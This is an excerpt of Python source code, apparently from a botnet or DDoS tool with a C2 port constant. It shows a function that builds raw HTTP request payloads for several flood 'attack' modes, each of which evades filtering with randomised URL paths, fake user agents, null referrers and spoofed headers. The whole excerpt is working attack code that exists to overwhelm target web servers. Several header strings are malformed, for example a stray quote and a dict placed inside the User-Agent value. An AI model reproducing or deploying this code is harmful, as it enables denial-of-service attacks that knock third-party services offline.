(host,type_attack,mode_type,ver)
| 195 | C2_PORT = 8080 |
| 196 | |
| 197 | def header_http(host,type_attack,mode_type,ver): |
| 198 | if mode_type == "PYF": |
| 199 | url_path = generate_url_path(5) |
| 200 | type_attack_load = f"{type_attack} /{url_path} HTTP/{ver}\nHost: {host}\n\n".encode() |
| 201 | elif mode_type == "NULL": |
| 202 | url_path = generate_url_path(1) |
| 203 | type_attack_load2 = f"{type_attack} /{url_path} HTTP/{ver}\r\nHost: {host}\r\n" |
| 204 | type_attack_load2 += "User-Agent: null\r\n" |
| 205 | type_attack_load2 += "Referrer: null\r\n" |
| 206 | type_attack_load2 += f"{spoof(host)}\r\n" |
| 207 | type_attack_load = type_attack_load2.encode() |
| 208 | elif mode_type == "SPOOF": |
| 209 | url_path = generate_url_path(1) |
| 210 | random_list = random.choice(("FakeUser","User")) |
| 211 | headers_ua = "" |
| 212 | if "FakeUser" in random_list: |
| 213 | headers_ua = {'User-Agent': f'{rand_ua("FakeUser")}'} |
| 214 | else: |
| 215 | headers_ua = {'User-Agent': f'{rand_ua("User")}'} |
| 216 | type_attack_load2 = f"{type_attack} /{url_path} HTTP/{ver}\r\nHost: {host}\r\n" |
| 217 | type_attack_load2 += f"User-Agent: {headers_ua}\r\n" |
| 218 | type_attack_load2 += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'" |
| 219 | type_attack_load2 += f"{spoof(host)}" |
| 220 | type_attack_load2 += "Connection: Keep-Alive\r\n\r\n" |
| 221 | type_attack_load = type_attack_load2.encode() |
| 222 | elif mode_type == "HTTP": |
| 223 | url_path = generate_url_path(5) |
| 224 | random_list = random.choice(("FakeUser","User")) |
| 225 | headers_ua = "" |
| 226 | if "FakeUser" in random_list: |
| 227 | headers_ua = {'User-Agent': f'{rand_ua("FakeUser")}'} |
| 228 | else: |
| 229 | headers_ua = {'User-Agent': f'{rand_ua("User")}'} |
| 230 | type_attack_load = f'{type_attack} /{url_path} HTTP/{ver}\r\nHost: {host}\r\nUser-Agent: {headers_ua}\r\nConnection: keep-alive\r\n\r\n'.encode() |
| 231 | elif mode_type == "PYF2": |
| 232 | url_path = generate_url_path(1) |
| 233 | type_attack_load = f"{type_attack} /{url_path} HTTP/{ver}\nHost: {host}\n\n".encode() |
| 234 | elif mode_type == "NULL2": |
| 235 | url_path = generate_url_path(5) |
| 236 | type_attack_load2 = f"{type_attack} /{url_path} HTTP/{ver}\r\nHost: {host}\r\n" |
| 237 | type_attack_load2 += "User-Agent: null\r\n" |
| 238 | type_attack_load2 += "Referrer: null\r\n" |
| 239 | type_attack_load2 += f"{spoof(host)}\r\n" |
| 240 | type_attack_load = type_attack_load2.encode() |
| 241 | elif mode_type == "SPOOF2": |
| 242 | url_path = generate_url_path(5) |
| 243 | random_list = random.choice(("FakeUser","User")) |
| 244 | headers_ua = "" |
| 245 | if "FakeUser" in random_list: |
| 246 | headers_ua = {'User-Agent': f'{rand_ua("FakeUser")}'} |
| 247 | else: |
| 248 | headers_ua = {'User-Agent': f'{rand_ua("User")}'} |
| 249 | type_attack_load2 = f"{type_attack} /{url_path} HTTP/{ver}\r\nHost: {host}\r\n" |
| 250 | type_attack_load2 += f"User-Agent: {headers_ua}\r\n" |
| 251 | type_attack_load2 += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'" |
| 252 | type_attack_load2 += f"{spoof(host)}" |
| 253 | type_attack_load2 += "Connection: Keep-Alive\r\n\r\n" |
| 254 | type_attack_load = type_attack_load2.encode() |
no test coverage detected